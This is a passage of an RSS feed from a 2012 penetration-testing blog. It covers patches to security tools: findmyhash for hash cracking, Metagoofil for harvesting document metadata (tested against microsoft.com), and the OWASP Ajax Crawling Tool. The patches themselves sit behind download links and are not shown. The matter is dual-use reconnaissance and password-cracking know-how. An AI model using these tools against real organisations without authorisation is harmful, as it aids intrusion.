<p><a title="Video on how to use findmyhash" href="https://www.youtube.com/watch?feature=player_embedded&amp;v=O2I8pd2uMIU#!">https://www.youtube.com/watch?feature=player_embedded&amp;v=O2I8pd2uMIU#!</a></p>
<p><!--more--></p>
<p><strong>Download File</strong></p>
<p>You can download the updated findmyhash at<a title="http://pastebin.com/9GRTrNj7" href="http://pastebin.com/9GRTrNj7"> http://pastebin.com/9GRTrNj7</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/267/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=267&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/01/24/cracking-hashes-using-findmyhash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/01/screen-shot-2012-01-25-at-12-12-14-am.png" medium="image">
			<media:title type="html">findmyhash.py new features</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/01/screen-shot-2012-01-25-at-12-33-07-am.png" medium="image">
			<media:title type="html">Patching findmyhash</media:title>
		</media:content>
	</item>
		<item>
		<title>Speed Improvement for Metagoofil  (Intelligence Gathering)</title>
		<link>http://milo2012.wordpress.com/2012/01/09/254/</link>
		<comments>http://milo2012.wordpress.com/2012/01/09/254/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 19:39:30 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Intelligence Gathering]]></category>
		<category><![CDATA[information gathering]]></category>
		<category><![CDATA[intelligence gathering]]></category>
		<category><![CDATA[Metagoofil]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=254</guid>
		<description><![CDATA[I made some speed bumps to the source code for metagoofil by adding in some threading code to speed up the downloading process. The below tests were done on a vmware guest with 4GB of ram with 1 processor (2 cores). Results might varies on your machine. For the below test, I ran metagoofil against [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=254&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I made some speed bumps to the source code for metagoofil by adding in some threading code to speed up the downloading process.<br />
The below tests were done on a vmware guest with 4GB of ram with 1 processor (2 cores).</p>
<p>Results might varies on your machine.</p>
<p>For the below test, I ran metagoofil against microsoft.com for 100 pdfs.</p>
<p>Results show that you can get quite a significant speed improvement if you are downloading a lot of documents for analysis with metagoofil.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/01/1-10-2012-2-59-24-am.png"><img class="alignnone size-full wp-image-255" title="speed difference for metagoofil" src="http://milo2012.files.wordpress.com/2012/01/1-10-2012-2-59-24-am.png?w=595" alt=""   /><br />
</a></p>
<p><strong>Download Links</strong></p>
<p>If you adventurous enough to try the patch, you can download the patch or the updated metagoofil.py file from the below links</p>
<p>Patch:  <a title="http://pastebin.com/J3d7yUkJ" href="http://pastebin.com/J3d7yUkJ">http://pastebin.com/J3d7yUkJ</a><br />
Updated Metagoofil.py File:  <a title="http://pastebin.com/AfpaUgQv" href="http://pastebin.com/AfpaUgQv">http://pastebin.com/AfpaUgQv</a></p>
<p>Let me know if you face any issues.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/254/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=254&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/01/09/254/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/01/1-10-2012-2-59-24-am.png" medium="image">
			<media:title type="html">speed difference for metagoofil</media:title>
		</media:content>
	</item>
		<item>
		<title>Metagoofil Fix (Intelligence Gathering)</title>
		<link>http://milo2012.wordpress.com/2012/01/09/temporary-fix-for-bug-in-metagoofil/</link>
		<comments>http://milo2012.wordpress.com/2012/01/09/temporary-fix-for-bug-in-metagoofil/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 12:20:15 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Intelligence Gathering]]></category>
		<category><![CDATA[information gathering]]></category>
		<category><![CDATA[intelligence gathering]]></category>
		<category><![CDATA[metadata]]></category>
		<category><![CDATA[Metagoofil]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=225</guid>
		<description><![CDATA[Metagoofil is a useful tool to use for the passive reconnaissance in the intelligence gathering phrase of penetration testing. Metagoofil is available for download at http://code.google.com/p/metagoofil It allows you to extract useful metadata from public documents belong to a target company from search engine. You can learn about using Metagoofil at Irongeek&#8217;s site  http://www.irongeek.com/i.php?page=videos/using-metagoofil-to-extract-metadata-from-public-documents-found-via-google I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=225&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Metagoofil is a useful tool to use for the passive reconnaissance in the intelligence gathering phrase of penetration testing.</p>
<p>Metagoofil is available for download at <a title="Link to Metagoofil Site" href="http://code.google.com/p/metagoofil">http://code.google.com/p/metagoofil</a></p>
<p>It allows you to extract useful metadata from public documents belong to a target company from search engine.</p>
<p>You can learn about using Metagoofil at Irongeek&#8217;s site  <a title="http://www.irongeek.com/i.php?page=videos/using-metagoofil-to-extract-metadata-from-public-documents-found-via-google" href="http://www.irongeek.com/i.php?page=videos/using-metagoofil-to-extract-metadata-from-public-documents-found-via-google">http://www.irongeek.com/i.php?page=videos/using-metagoofil-to-extract-metadata-from-public-documents-found-via-google</a></p>
<p>I was trying to use metagoofil today.  The results show that there are 7 files found but they are actually invalid links.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/01/metagoofil.png"><img class="alignnone size-full wp-image-226" title="metagoofil bug" src="http://milo2012.files.wordpress.com/2012/01/metagoofil.png?w=595" alt=""   /></a></p>
<p><strong>How to apply the patch?</strong><br />
You can download the patch from <a title="http://pastebin.com/prHBxqfK" href="http://pastebin.com/prHBxqfK">http://pastebin.com/prHBxqfK</a></p>
<p>Save the file from pastebin as parser.patch in the metagoofil-read-only folder.</p>
<p>To apply the patch, type &#8220;patch -i parser.patch&#8221; as shown in the below screenshot.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/01/1-9-2012-2-09-14-am.png"><img class="alignnone size-full wp-image-231" title="Applying the Metagoofil Patch" src="http://milo2012.files.wordpress.com/2012/01/1-9-2012-2-09-14-am.png?w=595" alt=""   /></a></p>
<p>You should see the below lines in your updated parser.py file in your metagoofil-read-only folder.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/01/1-9-2012-2-10-05-am.png"><img class="alignnone size-full wp-image-232" title="The updated parser.py file for Metagoofil" src="http://milo2012.files.wordpress.com/2012/01/1-9-2012-2-10-05-am.png?w=595" alt=""   /></a></p>
<p>Thank you for reading this post and enjoy having fun with using Metagoofil as much as I do.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/225/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/225/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=225&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/01/09/temporary-fix-for-bug-in-metagoofil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/01/metagoofil.png" medium="image">
			<media:title type="html">metagoofil bug</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/01/1-9-2012-2-09-14-am.png" medium="image">
			<media:title type="html">Applying the Metagoofil Patch</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/01/1-9-2012-2-10-05-am.png" medium="image">
			<media:title type="html">The updated parser.py file for Metagoofil</media:title>
		</media:content>
	</item>
		<item>
		<title>OWASP Ajax Crawling Tool (Good Companion Tool to Burpsuite)</title>
		<link>http://milo2012.wordpress.com/2011/12/26/owasp-ajax-crawling-tool-good-companion-tool-to-burpsuite/</link>
		<comments>http://milo2012.wordpress.com/2011/12/26/owasp-ajax-crawling-tool-good-companion-tool-to-burpsuite/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 01:44:09 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=209</guid>
		<description><![CDATA[OWASP Ajax Crawling Tool is an awesome companion to the tool Burpsuite. It allows you to crawl ajax websites which is a feature missing from Burpsuite. Both are must have tools for penetration testing of modern Ajax websites. The official website for ACT is https://www.owasp.org/index.php/OWASP_AJAX_Crawling_Tool The current version of ACT 0.1a seems to have issues [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=209&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p style="text-align:left;">OWASP Ajax Crawling Tool is an awesome companion to the tool Burpsuite. It allows you to crawl ajax websites which is a feature missing from Burpsuite. Both are must have tools for penetration testing of modern Ajax websites.</p>
<p style="text-align:left;">The official website for ACT is <a href="https://www.owasp.org/index.php/OWASP_AJAX_Crawling_Tool">https://www.owasp.org/index.php/OWASP_AJAX_Crawling_Tool</a></p>
<p style="text-align:left;">The current version of ACT 0.1a seems to have issues with crawling some Ajax websites due to some issues in the dependencies.</p>
<p style="text-align:left;">I have submitted the bugfixes to the website but it will take some time for the changes to be committed.</p>
<p style="text-align:left;">Below shows the screenshots of the results of the crawl before and after the patch.</p>
<p style="text-align:left;">Before the patch<br />
<a href="http://milo2012.files.wordpress.com/2011/12/12-27-2011-2-43-52-am.jpg"><img class="alignnone size-full wp-image-210" title="OWASP Ajax Crawling Tool" src="http://milo2012.files.wordpress.com/2011/12/12-27-2011-2-43-52-am.jpg?w=595" alt=""   /></a></p>
<p>After the patch<br />
As shown in the below screenshot, extra 4 links were discovered after the patch.</p>
<p style="text-align:left;"><a href="http://milo2012.files.wordpress.com/2011/12/12-27-2011-2-46-14-am.jpg"><img class="alignnone size-full wp-image-211" title="OWASP Ajax Crawling Tool" src="http://milo2012.files.wordpress.com/2011/12/12-27-2011-2-46-14-am.jpg?w=595" alt=""   /></a></p>
<p style="text-align:left;">I have also added the function of being able to specify the proxy server via command line mode.<br />
<a href="http://milo2012.files.wordpress.com/2011/12/12-27-2011-3-27-33-am.jpg"><img class="alignnone size-full wp-image-212" title="OWASP Ajax Crawling Tool Command Line Addditions" src="http://milo2012.files.wordpress.com/2011/12/12-27-2011-3-27-33-am.jpg?w=595" alt=""   /></a></p>
<p style="text-align:left;">Below is the temporary download link for the ACT if you can&#8217;t wait for the changes to be committed at the main site.</p>
<p style="text-align:left;"><a href="https://www.dropbox.com/s/gosq97z5vjlr09f/act-new.jar">https://www.dropbox.com/s/gosq97z5vjlr09f/act-new.jar</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/209/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/209/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=209&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2011/12/26/owasp-ajax-crawling-tool-good-companion-tool-to-burpsuite/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2011/12/12-27-2011-2-43-52-am.jpg" medium="image">
			<media:title type="html">OWASP Ajax Crawling Tool</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2011/12/12-27-2011-2-46-14-am.jpg" medium="image">
			<media:title type="html">OWASP Ajax Crawling Tool</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2011/12/12-27-2011-3-27-33-am.jpg" medium="image">
			<media:title type="html">OWASP Ajax Crawling Tool Command Line Addditions</media:title>
		</media:content>
	</item>
	</channel>
</rss>
